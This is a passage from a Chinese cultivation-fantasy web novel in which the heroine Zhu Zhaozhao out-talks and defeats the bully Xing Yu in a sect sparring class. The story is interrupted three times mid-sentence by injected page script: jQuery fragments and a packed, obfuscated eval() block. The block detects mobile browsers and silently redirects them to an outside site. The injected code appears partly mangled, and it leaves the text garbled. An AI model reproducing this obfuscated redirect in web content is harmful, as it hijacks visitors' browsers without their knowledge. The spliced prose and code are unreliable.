$(''.inform'').remove(); $(''#content'').append('' 了其他宗门,否则这对剑宗来说该是件多可惜的事。” “也就是你自己来了剑宗,但凡其他宗门找到你,我们都不可能再见到你。” “昭昭,幸好你来了。” 祝昭昭被白月书的连续彩虹屁攻击得逐渐迷失:“谢谢月书师姐夸奖,我其实也只是福至心灵……” “但你最近在新生班里好像一直在被人针对吧?” 嗯? 略显害羞的笑容僵在脸上,祝昭昭愣愣看着对面的白月书。 白月书笑眯眯地:“我在老生班都听说了,你最近招惹到了新生班里几个有名的跋扈弟子,虽然有白掌教在帮你,但你还是不断被他们找麻烦。对不对?” “……对。” 眨眨眼,祝昭昭其实搞不太懂白月书为什么突然提起这茬。 难道是因为自己提点了她和秦之衡修炼要点,所以她准备投桃报李,帮自己教训一下那帮人? 祝昭昭越想越觉得很可能。 于是她决定试一下白月书的态度:“是这样没错,不过同门之间有些小打小闹也很正常,月书师姐不必介意。” “这怎么能算正常。”白月书颇不赞同,“同门之间理当互敬互爱,互相帮助。欺负针对新来的弟子,怎么能说是正常,说是小打小闹?” 祝昭昭装出一副不堪其扰的模样:“那依月书师姐所言,昭昭应该怎么办?” 快顺着这句话接下去,让新生班那几个不长眼的小子尝尝来自女主角的怒气和手段。 祝昭昭:期待·jpg “当然是勤加修炼,争取在过段时日的能力测试擂台上将他们打得心服口服!” 白月书眼里闪起亮光:“新生班禁止私斗,唯一能名正言顺与人战斗的场地就是过段时间将要开始的能力测试。昭昭你只要在那时候打败他们,他们日后再想欺负你,就要掂量掂量。” 对面白月书自顾自说得高兴,完全没有注意到这边祝昭昭的沉默震耳欲聋。 行吧,她就不该想太多。 夜间竹林凉风习习,吹得祝昭昭直打呵欠:“好,月书师姐的话昭昭知道了。但今天太晚了,我们就先回去休息吧。” “好。” 白月书应了声:“今晚确实太晚了,要修炼也该是明晚。那我们明晚再开始吧。” 祝昭昭很敷衍地点头:“好,明晚再开始……” 等等。 她突然警觉。 开始? 什么开始? 两个天天都在修炼的人,需要用到‘开始’两个字吗? 祝昭昭咂摸出点不对劲。 她状似无意:“月书师姐,你刚才说明天开始的意思是指你和秦师兄明天再继续修炼这个新招式对不对。” “新招式当然要继续练。”白月书满脸理所当然。 祝昭昭松了口气。 “但昭昭你从明天起也要和我们一起修炼。” 白月书说完,祝昭昭瞳孔地震。 为什么她突然就要加入男女主了? 平常的修炼节奏她非常满意,不想再加练了啊! 祝昭昭企图做最后挣扎:“……我可以不来吗?” 白月书微笑。 “不可以。” 21. 不做第一是因为不想吗? 教室外的树荫下,靠坐在树干的祝昭昭打了个哈欠。 原本还在和边上的齐青青说话的云珈闻声扭头:“昭昭,你最近怎么老是一副很没精神的样子。是没休息好吗?” 休息不好很正常,天天加练谁休息得好。 又打了个哈欠,祝昭昭没精打采地点头:“嗯。” 云珈‘哦’了一声:“是回去后又继续修炼了吗?” 一听这话就感觉浑身酸痛,祝昭昭头往树干又靠了靠近:“嗯。” 云珈满脸佩服:“为了赶上大家的修炼进度竟然能狠心到休息时间都拿来修炼,昭昭,你实在太厉害了。” 死鱼眼瞥了眼云珈又收回,祝昭昭面无表情。 狠心? 这行为确实狠心不假,不过狠的另有其人罢了。 想起这段时间白月书和秦之衡对自己的魔鬼加训,祝昭昭感觉整个人都好像要被掏空。 这和在主系统996有什么区别? 痛,太痛了。 祝昭昭:流泪猫猫头·jpg 看祝昭昭一副半死不活的模样,云珈拍拍她肩:“好啦昭昭,打起精神来,今天可是实战课呢。” “一会儿白掌教来见了你这模样,可能会抓你杀鸡儆猴哦。” “杀鸡儆猴的前提是要有不听话的人。” 整个人坐直起来,祝昭昭伸了个懒腰:“可除了我,大家都精神满满,掌教哪有杀鸡儆猴的必要。” “掌教做事从不按常理,又最讨厌不守规矩的学生。让他逮着不听话的,怎么罚都有可能。” 云珈朝祝昭昭靠过去:“诶,不说这个了。昭昭,你知道实战课主要是干什么的吗?” 干什么? 能干什么? 祝昭昭简直槽多无口:“打架。” 云珈急了:“诶,打架当然是要打架。但这个打架可大有门道!很多人都在盼着实战课开始。你知道为什么吗?” 打个架能有什么门道,还为什么。 能有什么为什么。 祝昭昭面无表情:“因为能光明正大揍看不爽的人。” “你竟然知道!” 云珈表情一瞬像见了鬼,看得祝昭昭一瞬有种自己破解了什么世纪大谜题的错觉。 云珈扭头扯住边上的齐青青:“青青,昭昭竟然一下就猜中了。我刚进来的时候还是靠你告诉我的。所以是我反应太慢了吗?” 正在慢悠悠擦剑的齐青青眼皮都不抬:“昭昭猜得快,你打得快。你们都很厉害。” 本来还有点震惊又委屈的云珈闻言,立马不好意思地揉揉鼻子:“那个……是嘛。原来青青你是这么想的啊。” 齐青青:“嗯。” 云珈当即搂着齐青青扭了半天。 竟然只靠一句话就顺了毛,佩服。 在边上围观全程的祝昭昭:哄大长老的小技巧又增加了。 “好了,别闹了。” 艰难推开蹭着自己脸的云珈,齐青青收剑入鞘:“昭昭,稍后的实战课会有同门切磋。你先前和刑煜他们起过冲突,稍后他们一定会借机与你切磋。” “所以你一会儿机警些,遇见不对要及时知会掌教。” 祝昭昭虽然并不担心这点,但齐青青言辞恳切,她便也认真答应:“明白,稍后我会注意。” 齐青青闻言唇角微弯,云珈见状则拍拍她肩膀,又凑到祝昭昭身旁:“昭昭别担心,到了切磋的时候我先陪你一起练就好。” 话到最后云珈还朝祝昭昭眨了眨一边眼,狡黠模样看得祝昭昭啼笑皆非:“好,知道了。我先在这里谢过你。” “好说。”云珈笑,露出的虎牙看起来俏皮又可爱。 却就在这时,不远处突然传来一声极为不屑的冷嗤。 祝昭昭等人寻声抬头,就见刑煜带着罗毅以及另外两个不知姓名的跟班正朝这边走过来。 “先陪她练?云珈,你的头脑还真是一如既往得简单。” 伸出的手毫不客气地直指云珈,刑煜的表情分外嚣张:“你稍后是要被人挑战的,指定人轮得到你么?” “想护着她?”刑煜挑眉,“你还没那个本事!” 云珈眉头瞬间皱得紧紧:“刑煜,你找死!” “呦呦呦,想打人?”立刻做出一副装模作样抵挡的架势,刑煜阴阳怪气,“云珈,课堂禁止私斗,你动我试试?” “一会儿被掌教罚就算了。没了你,”他视线一转,落在祝昭昭身上的目光高傲轻佻,“还有谁会发善心来护这个没用的东西?” 云珈咬牙:“你!” 没用的东西? 突然被点到名的祝昭昭挑眉。 她是怎么两三句话就被定性成‘没用的东西’的? 算了,无所谓。 神游结束,祝昭昭平静的目光落在得意洋洋的刑煜身上:“刚被掌教罚扫灵塔的人,怎么好意思提醒别人该做什么不该做什么。” 嘴角弯起一个毫无笑意的弧度,她问:“难道是想和别人炫耀你扫的灵塔干净?” 整张脸由白转红,刑煜脸上得意的表情消失殆尽:“你敢这么和我说话?” “为什么不敢。”祝昭昭无所谓,“上次我不是就这么和你说话的么?罚扫灵塔的教训又忘记了?” “介不介意告诉我什么药磕多了会磕坏脑子,我好提醒大家避着点。” 说着突然想到什么,祝昭昭眼里多了些意味深长:“哦,我忘了。除了你,班里没有嗑药修炼的人,他们不需要知道这件事。” “而且磕了那么多还是要挨我的耳光,想来你嗑的药应该也不是什么好货色,毕竟对你来说,我就是个‘没用的东西’。” 祝昭昭抬手抵住下巴:“你说呢?” 最后三个字一字一句咬得异常清晰,祝昭昭脸上笑容礼貌非常。 然而这笑容看在刑煜眼里,却是不折不扣的挑衅。 在动手前的最后一刻被罗毅等人拼命拦住,刑煜死死盯着祝昭昭,咬牙切齿恨不得将她除之后快:“你有种,一会儿实战课上,我会让你后悔现在和我说的话。” “是么。”祝昭昭笑容不变,“准备怎么让我后悔?” “在擂台上和我炫耀你磕的药效果有多好?” 刑煜额角青筋爆起:“你!” 轻蔑扫他一眼,祝昭昭突然朝院子门口打招呼:“啊,掌教你来了。” 脸上阴狠表情瞬间消失,刑煜有些慌张地看过去。 然而院子门口空空如也,哪有什么掌教? 身后传来云珈等人毫不客气地嘲笑声,刑煜死死捏紧拳头,转身离开。 * 冲突结束后不久,白修之走进院子。 环视在场学生一圈,他开口:“今日实战课,旨在检验你们近段时间的修炼成果。规矩还是同往常一样,上节实战课榜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280504|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首接受三名同学挑战,剩下的人则可在双方同意下自由选择切磋对象。” “云珈。” 白修之看向站在齐青青和祝昭昭之间的云珈:“你站到一边等人挑战。” 云珈躬身抱拳:“是,掌教。” 目送云珈走到一边站定,白修之继续道:“除想要挑战云珈的,剩下的人可自由商量组队切磋。” 要说剑宗一帮确实是修炼狂人。云珈刚在原地站没多久,就已经有好几个人抢着要和她切磋,其间因为排序问题,还差点打起来。 祝昭昭看得叹为观止。 “很神奇对吧。”凑到祝昭昭身边,齐青青在她耳边小声,“宗里大家都是这样,修炼和打架的时候最积极,我刚进宗的时候也适应了好久。” 祝昭昭看着齐青青。 和风风火火的云珈不同,齐青青脾气更沉稳也更温和。配上她毫无攻击性的小白花长相,每次看到她,祝昭昭心里都会生出一种‘她真是自愿拜入剑宗的吗?’的疑惑。 刚想到这,祝昭昭就听到齐青青略带苦恼的声音:“不知道为什么大家总是宁愿和云珈打都不和我打,害得我每次都只能等云珈打完才和她练练手。” 闻言一怔,祝昭昭突然意识到目前为止,真的没有一个人往这边靠,甚至连带着她都没人选。 祝昭昭嗅出些不对劲:“所以青青你的实战课排名是?” “第二哦。”齐青青笑眯眯地,“因为云珈老说我和她打架是在欺负她,所以我就让她当第一了。” 当第二是因为第一的名号被自己随手让了出去,这是什么凡尔赛发言。 祝昭昭:擦汗猫猫头·jpg 思忖着,祝昭昭刚准备为对话来上一句总结性发言,原本还一脸闲适站着哼小曲的齐青青突然侧身挡住了她。 紧接着,刑煜烦人的声音再次响起:“齐青青,又是老样子等云珈空出手么?” 齐青青笑:“你的意思是要在那之前和我练练?” “当然不是。只是我的兄弟刚好还没找到合意的对练,所以,”刑煜拍拍罗毅的肩,“我想找你身后那位新来的小师妹与他练练,刚好试试小师妹最近修炼的怎么样。” “如何?” “不如何。”齐青青把祝昭昭挡得更严实,“罗毅和昭昭虽说同为筑基后期,但昭昭入宗时间尚短,我不觉得这样的切磋公平。” 刑煜闻言,直接扬声问坐在教室门口的白修之:“掌教,同阶切磋是否违反实战课规则。” 彼时的白修之正慢悠悠地品着茶。 被叫到后抬起眼,他淡声回答:“否。” “弟子明白。” 朝白修之鞠了一躬,刑煜满脸得色:“齐青青,这下可以让开了?” 相当不耐烦地‘啧’了声,齐青青刚想说点什么,就被不知何时从她身后走出来的祝昭昭拦住。 缓步走到对峙的两人中间,祝昭昭背手,径直对上刑煜的目光:“你说,罗毅想和我切磋?” 显然觉得自已完全占了上风,刑煜心情不错:“是。” “可我有个更有意思的主意。” 祝昭昭眉眼微弯:“我保证你会喜欢。” 想不到祝昭昭会是这个反应,刑煜警惕起来:“什么主意。” 轻抚袍角。祝昭昭语气轻松地像在讨论今天的天气:“挑战的人换一换。” “我和你打一场,如何?” 22. 什么你要给我好看? 祝昭昭说完,不止是齐青青等人,就连还在品茶的白修之都朝这边望过来。 刑煜则先是一愣,紧接着像是听到什么笑话般大声笑起来。 祝昭昭看着他。 笑了一会儿见没人搭理自己,刑煜脸上闪过一抹尴尬。他停下,挑起眉头:“区区筑基后期,你确定要和我打?” 目光落在对面刑煜脸上表情,祝昭昭难得在公众场合半耷下眼皮。 祝昭昭不知道刑煜知不知道,他现在的脸上糅杂了得意、狰狞、胸有成竹以及窃喜等等复杂情绪,导致整张脸相当有碍观瞻。 也许是不知情的。 而且如果没猜错的话,刑煜对自己现在的表情管理应该相当自信,很可能是真心觉得自己很帅。 因为就这么一会儿功夫,他脸上五官已经有越来越跑偏的趋势。尤其是嘴,甚至已经开始让祝昭昭幻视一些上网冲浪时看到的怪东西。 那个什么来着? 歪嘴龙王? Max版吧。 好恶…… 祝昭昭嫌弃的表情开始压不住:“我说什么我知道,说要和你打就要和你打,问那么多遍难不成是耳背?” 被呛得半天不知道怎么回嘴,刑煜眼睛都快喷出火,憋了半天才好不容易憋出一句:“你尽管趁现在呈口舌之快,稍后比试我是绝不会手下留情的。” 说着终于找到威胁人的感觉,刑煜神色阴狠:“我会让你后悔刚才的挑衅。” “是么。” 祝昭昭双手环胸,神色轻松:“我倒是觉得不太可能。” “不可能?”刑煜冷笑一声,“你可以试试。” 竟敢当着老师的面放话威胁人。 小年轻还是小年轻。 看着对面刑煜胸有成竹的模样,祝昭昭嘴角弯起大大的弧度。 下一秒,她直接召唤白修之:“掌教,刑煜说一会儿的比试里他不会让我好过。” 瞬间被吓变形,刑煜高声:“掌教,我没有!” 冷冷瞥了眼两人,白修之轻啜口茶:“同门切磋,点到为止。一旦被我发现有任何超出切磋之外的意图,直接去刑法堂。” 祝昭昭笑着答应,和刑煜边答边抖得像筛糠的模样形成鲜明对比。 她眉眼弯弯:“刑煜兄,点到为止。切记。” 刑煜气得发抖,咬着牙一字一句:“那是自然。” * 筑基对金丹,祝昭昭与刑煜这场切磋几乎把所有人吸引来。 要知道哪怕仅仅是筑基后期和金丹初期,两者之间的差距也如同天堑。加上剑修是出了名的越级挑战常胜户,这样的比试对弱的一方来说就更加艰难。 没人看好祝昭昭。 因为这次切磋性质特殊,白修之给了两边一盏茶的准备时间。 面对身旁的祝昭昭,齐青青难得没了好脾气:“昭昭,我不是才与你说过要避开刑煜挑衅,不要被他刺激到吗?” “他摆明了要趁这次切磋给你下马威。” “我知道。” 祝昭昭朝齐青青靠了靠近:“可青青你在班里待得久,应该比我更了解刑煜是什么样的人。” “如果我一味避他锋芒,只会让他觉得我光会呈口舌之能,仗着掌教保护才敢与他呛声,一旦动手便会被他踩在脚下。” “既然这样,倒不如趁这次比试好好让他认清自己。” 目光落在不远处正和罗毅等人高声谈笑的刑煜身上,祝昭昭唇角微弯:“让他知道,随意挑衅人,是要付出代价的。” “可是哪怕丹药催出来的金丹,那也是金丹。加上他家境确实不错,本命剑品阶很高。” 云珈眉头微皱:“昭昭你只是筑基后期,与他对上真的没问题吗?” 说着‘哎呀’一声,她捋起袖子:“要不切磋换人吧,我去和他打。刚好我还没打过瘾。” 赶在云珈行动之前和齐青青一人拉住她一边手,祝昭昭笑得无奈:“好了云珈,我知道你是在担心我。但这是我和他的切磋,掌教也同意了,所以你只要观战就好。” 她从边上扯过一只竹凳把云珈按在凳子上:“来,坐着看。” 齐青青拿着另一只凳子坐在云珈身旁:“昭昭都说到这个份上了,你就别操心了。实在不行,还有掌教盯着,你怕什么。” 双重劝说下,云珈终于软下态度:“好吧,那昭昭你待会儿一定要小心应对啊。刑煜那家伙可坏了,最喜欢搞小动作。” 祝昭昭微笑点头:“嗯,我知道。” 云珈叹气:“你说你好好的非要和刑煜打架干什么,就算他爱嘴贱找茬,可只要掌教在,他明面上不会敢把你怎么样的。” 祝昭昭‘唔’了一声:“你也说了是明面上,那他暗地使坏呢?” “这倒也是。”云珈从空间袋里取出几瓶青竹饮,递了一瓶给祝昭昭,“那昭昭你一会儿切磋时候一定要小心,感觉不对了一定要及时告知掌教,千万不能自己硬抗,知道了吗。” 她做出个‘加油’的手势:“争取把刑煜打趴下!” 看着云珈眼里的鼓励与真诚,祝昭昭笑眯眯地:“好,我知道了,我一定把刑煜打趴下。” 一盏茶时间到,祝昭昭走向中央空地。 然后她听到身后云珈悄声对齐青青说:“昭昭要和刑煜打架,我俩闲着也是闲着。我记得你前两天不是新得了一件小法器好像挺有意思的,要不我们打个赌。” 是赌自己赢吗?没想到云珈竟然信任自己到这种程度。 祝昭昭低头,掩盖唇边笑意。 下一秒—— “昭昭要是输了,你就把它给我。怎么样?” 祝昭昭:…… 好意外又好不意外的发言。 怕再听云珈说话会把自己气死,祝昭昭脚步在空地中心站定,不避不闪,正对刑煜目光。 刑煜咧起嘴角:“准备好了吗?” 带着略微不爽的心情,祝昭昭微笑。 “当然。” * 话音落下,两个人同时消失在原地。 下一秒,清脆的兵刃相击声在众人头顶炸开。 长剑朝祝昭昭迎头劈下,刑煜狞笑:“能正面接住我的剑,你有点意思。” 随手从空间袋抽出的长锥架住刑煜的剑,祝昭昭神色轻松:“如果这就算有意思,那稍后会有更多有意思的事等着你。” “看好了。” 祝昭昭抬手,猛地划开架在双锥中间的剑。刑煜避之不及,本命剑差点脱手而出。 死死攥紧剑柄,刑煜咬牙:“你竟敢!” “我竟敢?”双锥极速在手中旋转,祝昭昭挥袖将之收进空间袋,“刑煜,我们现在是在比试,抓不住武器是你的问题,不是我的问题。以及,” 手中很快出现一柄尺长的剑,祝昭昭利落舞了个剑花,长剑直指刑煜:“如果你只有刚才那种水平,那你接下来要小心了。因为你可能会受一点……” “皮肉之苦。” 最后一个字落下的瞬间,祝昭昭闪身出现在刑煜面前。 随之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280505|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银白剑光亮起,空中发出撕裂般的啸鸣,祝昭昭长剑直指刑煜脖颈。 下方云珈坐不住了:“课上切磋明令禁止伤人性命,昭昭怎么回事?” “你太着急了。”齐青青神色轻松,“你再看看。” 闻言按捺住着急的心情,云珈再次抬头。 紧接着,一道白影极速朝地上坠落,祝昭昭将剑插入地面,才堪堪阻止自己暴退。 云珈眼瞳骤缩:“昭昭!” 寻声瞥了云珈一眼,望着地面的祝昭昭,刑煜脸上得色尽显:“云珈那白痴在叫你,你不看看她?” “切磋的是我们,看她做什么。”拇指揩去嘴角溢出的血丝,祝昭昭语调依旧轻松,“看来你也不算一个十足废物。” 虽然相当不爽,但刑煜把这话当做祝昭昭嘴硬:“废物?那被废物打败的你又是什么东西?” “这就是打败了?” 意外于刑煜的自信程度,祝昭昭呵笑出声。 她挑眉看着对面:“你该不会已经在脑子里设想好赢了之后要怎么讥讽我吧?” 被说中的刑煜:…… 她到底怎么做到每次都直击重点的? 祝昭昭嘲讽技能点满:“刑煜,你虽然修为不怎么样,但人倒是相当自信。悄悄告诉你个秘密。” 好奇心被点起,刑煜皱眉:“什么秘密。” “你凑过来。”祝昭昭朝他勾勾手指。 刑煜见状立即冷笑出声:“想引我入你陷阱?祝昭昭,你未免太过自大,竟然觉得我会上如此浅显的当。” 他一剑斩出:“看招!” 因为躲闪及时,剑气只划破祝昭昭衣角。 看着衣角随风飘落,她一脸无所谓:“我为顾及同窗情谊才决定与你一人说,但你既然不领情,那就没办法了。” 刑煜正得意于刚才的一剑:“你尽管说,祝昭昭,我倒要看看你能说出什么花来阻止这次切磋失败。” 嘴角扬起一抹意味深长的弧度,祝昭昭淡淡,“你知道吗,这是十四年来,第一次有人敢跟我说这种话。” 两指并拢自剑身划过,祝昭昭缓缓凝聚灵力于其上:“听好了。” 所有观战的人聚精会神。 刑煜则满脸不屑。 祝昭昭中气十足,噪音清亮:“刑煜每晚都会和问心镜说话,天南海北什么都说,什么问题都问。” 刑煜先是一愣,接着脸色大变。 祝昭昭把他的反应看在眼里:“其中问得最多的问题,是——” 刑煜彻底失去表情管理:“不要说啊啊啊啊!” “他是不是修真界最帅的男人。” 万籁俱寂。 祝昭昭说完,所有人都震惊到失语。 倒是原本静静坐着喝茶的白修之,轻嗤一声笑了出来。 目光从下方众人身上收回,祝昭昭朝刑煜抬抬下巴:“那么不爱笑的掌教都因为你笑了,刑煜,你现在一定很开心对不对。” 刑煜没吭声,整个人已经成了黑白简笔画形状。 祝昭昭:哇哦。 剑身灵力凝聚成形,祝昭昭抬手,淡蓝色灵力随着她动作在长剑上流转:“早跟你说这个秘密只能自己听,下次记得听话。” 话音落下,祝昭昭一剑挥出。 锐利剑意闪电般斩向刑煜,而直到被剑意划破脸颊,他才回过神来匆匆抵挡。 但早就为时已晚。 闪身出现在砸落地面的刑煜跟前,祝昭昭长剑直指他咽喉。 “你输了。” 23. 剑宗弟子越级挑战天经地义 “我不服!” 终于反应过来的刑煜一把挥开祝昭昭的剑:“切磋比的是武力,你捅出我的秘密导致我不能全力迎战,这是在投机取巧!” 他猛地扭头看向白修之:“求掌教明鉴!” 第一时间赶到祝昭昭身边的云珈和齐青青见状立刻回嘴:“刑煜,我说你对着我们不要脸就算了,对着昭昭一个新来的师妹能不能有点气度?输了就是输了,找那么多理由做什么?” “而且不管怎么说都是你心志不坚才会输的吧,捅你两个秘密你就成那副德行。真说起来你还得感谢昭昭让你提前经历了这种情况,否则到了真正搏命的时候,你焉有命在?” 云珈和齐青青一唱一和完,周围其他人都跟着点头。 毕竟这话确实有道理。 随便听人说点什么就能被扰乱心神,这样的人在战场活下来的几率该有多低? 气得整个人都在发抖,刑煜捏紧拳头。 不怪他反应太大,实在是这件事他真的从未与人透露过半句。 如果说吃丹药增强修炼还可以用修炼进度不正常来当做被发现的理由,那他和问心镜自说自话这事,是他父母都根本不知道的程度。 祝昭昭又是如何知道的? 她甚至把这事当众说出来,让所有人都知道了。 看着对面神色自如的仿佛什么都没发生过的祝昭昭,刑煜感觉一股火直冲头顶。 也不和云珈等人争论,他朝白修之深深行了一礼:“求掌教明鉴。” 被刑煜瞬间的超大声惊到,本来不想搭理他的祝昭昭不禁斜了他一眼。 祝昭昭:你吼辣么大声干嘛·jpg 至此终于从座椅上起身,白修之缓缓走到两人中间。 他淡声:“刑煜,云珈与齐青青两人说得不错。如果三两句话就能将你心境拨撩至此,你今后与人对战时又当如何?” “回去后抄写静心录三十遍,明天交于我。” 抿了抿唇,刑煜最后还是低头:“是,掌教。” 见状微微颔首,白修之看向祝昭昭:“祝昭昭。” 被点到名的祝昭昭:“是,掌教。” “刑煜虽说有过错在先,但是你。”他垂眸,平静的声音听不出情绪,“刻意扰乱对手心神让对手露出破绽从而击败,计谋没有问题。” “但如此胜利,也失去了正确探查双方真正实力的机会,这是另一种不公正。” “所以祝昭昭。” 他背着手:“以你真正实力接刑煜一击。接住与否,决定你们这次切磋的胜负。” “你可接受。” 祝昭昭没有接话。 倒是刑煜大喜过望,第一时间高声答应:“谢掌教。” 云珈闻言本想说点什么,最后却被齐青青拉住。 无视周围所有人的反应,白修之只盯着祝昭昭又问了一遍:“你可接受?” 祝昭昭当然可以接受。 毕竟不管是借助202也好,还是她亲自出手也罢,她多得是方法让刑煜输掉。 她之所以半天不给回答,是因为一个问题还没想好。 时间一点点过去,见祝昭昭半天不回答,人群小声议论起来。就连一直没什么反应的白修之,眼底也闪过一丝失望。 祝昭昭也终于在此时开口。 “掌教,我有一个问题。” 看着神情有些严肃的祝昭昭,白修之顿了顿:“你说。” “如果答应的话,我这算越级挑战吗?” 白修之难得皱眉:“是。然身为剑宗弟子,越级战斗乃宗门传统。凡剑宗弟子都应有敢于越级挑战的勇气与胆识。” “您别生气。”祝昭昭连连摆手,“我只是想问,如越级挑战胜利,奖励是什么。” 所有人都被祝昭昭的问题震惊了。 她竟然已经开始设想胜利以后的事? 要知道就算嗑药磕出来的金丹,那也是金丹,筑基对金丹本来就是输多胜少的事。刑煜都没开口说胜利以后,她祝昭昭竟然就先提了? 狂妄,实在狂妄。 然而比起非常不看好祝昭昭的其他人,白修之的反应却完全不同。 他脸上竟然多了笑意:“没有奖励。” 没有奖励? 祝昭昭眨眨眼:“您是说,就算胜利了,也什么后续都没有。赢了就只是赢了?” 白修之:“是。” 祝昭昭:“不会有胜利后就变成第一名,然后接受其他人挑战的事发生?” 白修之:“不会。” 边上插话的云珈高声:“谁也不能夺走我守擂的权利!” 然后被齐青青一把捂住嘴。 “那就好。” 高兴一合掌,祝昭昭转头正对刑煜,“尽管来。” 终于意识到在祝昭昭眼里自己根本算不上威胁,她犹豫只是因为不想守擂。刑煜先是一愣,紧接着不可置信地恼羞成怒起来。 脸色肉眼可见得变难看,刑煜气得话都说不顺嘴:“好好好,你有种。” “我今天就要让你知道,挑战前三名是什么下场!” “前三里当老三也敢这么大声说话?” 抬手运转一个小周天,朝刑煜勾勾手,祝昭昭朗声:“来。” 气疯了的刑煜再顾不上周围的白修之又或是其他人的想法,直接使出了他金丹期的全力一击。 强悍的灵力在他手上凝聚成形,云珈和齐青青当场变了脸色。 云珈急到试图让白修之喊停:“掌教,刑煜这招已经到了金丹中期的程度,昭昭才筑基初期,这对她不公平!” 周围有人赞同点头。 筑基后期对上金丹初期的全力一击本就是勉勉强强,更何况是金丹中期的攻击? 哪怕是防御见长的盾甲宗来,也得一个皮开肉绽结束。 白修之却依然面不改色。 他看着不远处对峙的祝昭昭和刑煜:“接受挑战,是她的选择。你们仅凭自己的判断,就让我打断她。” “这对她来说,是否公平?” 云珈哽住:“我……” “好了。”齐青青拉住她手,“掌教放任比试继续,一定有他的道理。我们只要旁观就好。” “也许就像掌教说的,昭昭也不希望我们插手太多呢?” 云珈不再说话,任由齐青青牵着她走到一旁。 “还真是多亏了你!”手上灵力映出刑煜脸色苍白,神情却狰狞而嚣张,“如果不是你,我还真使不出这招。” “能被这招打败,是你的荣幸!” “说荣幸多冒昧。”祝昭昭望着刑煜手上的光芒,“但能激发潜力至此,你确实应该感谢我。至于感谢方式的话——” 她打了个响指:“站在院子口,逢人就说你是筑基后期的手下败将的话,听起来不错。” 刑煜冷笑:“尽管趁现在嘴硬,接下来这招,接好!” 话音落下的瞬间,刑煜一掌打向祝昭昭。 金丹中期的灵力席卷而来,202在脑海里问祝昭昭:“需要帮忙吗主人?我可以帮你挡。” “不用。” 威压引起的风吹得祝昭昭眯起眼,她语气淡淡:“他还不配你出手。” “那你打算怎么做。”随着攻击越来越近,202有些着急,“这股能量波动真的很大,主人你被击中的话会非常危险。” “但凡招式,总会有薄弱的地方,哪怕大乘期的攻击也一样。” 祝昭昭抬手,浅蓝色灵力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280506|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涓涓细流般在她掌心凝聚:“202,你知道原设定为什么强行不让这副身体修炼吗?” 202:“为什么?” “因为……” 掌心灵力渐渐化作漩涡,祝昭昭直视已经来到面前的攻击。 “这副身体,有一双可以洞悉一切的眼睛。” 话音落下的瞬间,淡蓝倏然扩大无数倍。道道灵力自中心爆射而出,柔软却无比精确地扎进攻击的其中一处。 停滞、萎缩、扭曲。下一秒,刑煜的攻击在淡蓝色的漩涡前,猛地炸裂开。 漩涡在攻击炸开后一同破碎散落,被阳光折射的片片水波,发出琉璃般的透蓝色彩。 祝昭昭站在水波中央,笔直的身影仿若坚韧不折的青竹。 所有人都被眼前的场景震撼。 筑基对金丹,胜利的竟然是筑基。 眼前这个刚来还没几天的小师妹,究竟是怎么做到的? 班级第三尚且收获如此结局,若对上她的是自己,结果又会如何? 意识到这点,许多人脸上都闪现一抹不自然。云珈与齐青青对视一眼,也各自在对方眼中看见凝重与考量。 最后是白修之的掌声打破了安静。 “水之一物,至柔则刚。以灵力撑起防御的同时,分出心神利用水灵力的特性找到攻击最薄弱处将之瓦解。这是许多金丹甚至元婴期都难以做到的。” 他望着祝昭昭的目光里,是毫不掩饰的欣赏:“昭昭,你做得非常好。” 从来只用全名称呼学生,以‘铁面’著称的白掌教,竟然没有连名带姓叫祝昭昭? 所有人震惊了。 祝昭昭也相当意外:“掌教谬赞。” “我向来有一说一。”纠正完祝昭昭,白修之看向刑煜,“战果已出,你还有何异议?” 早处于失神状态的刑煜跪在地上呆呆地盯着自己那一击留下的深深痕迹,没有说话。 他怎么都想不明白,自己那已经达到金丹中期的一击究竟是如何被祝昭昭击破的。 她那轻飘飘的一招,灵力波动甚至停留在筑基后期。 刑煜两眼发直:“这不可能……” “再不可能,如今也可能了。” 白底黑纹的短靴停在刑煜数步远,祝昭昭垂眸瞧他:“还记不记得刚才我们的约定?” 刑煜回神:“什么约定。” “当然是那个,”祝昭昭指指院门,“站在院门口,逢人就说你是筑基后期的手下败将。” 她很有耐心:“我要求不高,你站一天就好。” “毕竟被太多人知道也挺不太好,到时候有人慕名来挑战我的话会有点麻烦。” 祝昭昭有些不好意思。 “宜早不宜晚,我觉得明天就很好。”她开始安排具体细节,“穿得越花枝招展越好,再举块写你名字的牌。没有今晚就自己回去雕一块,时间的话就寅……” “我何时答应过你。”听到这的刑煜终于反应过来。 他强压怒火:“我死也不会做这种事。” “一点小事就死来死去多不吉利。” 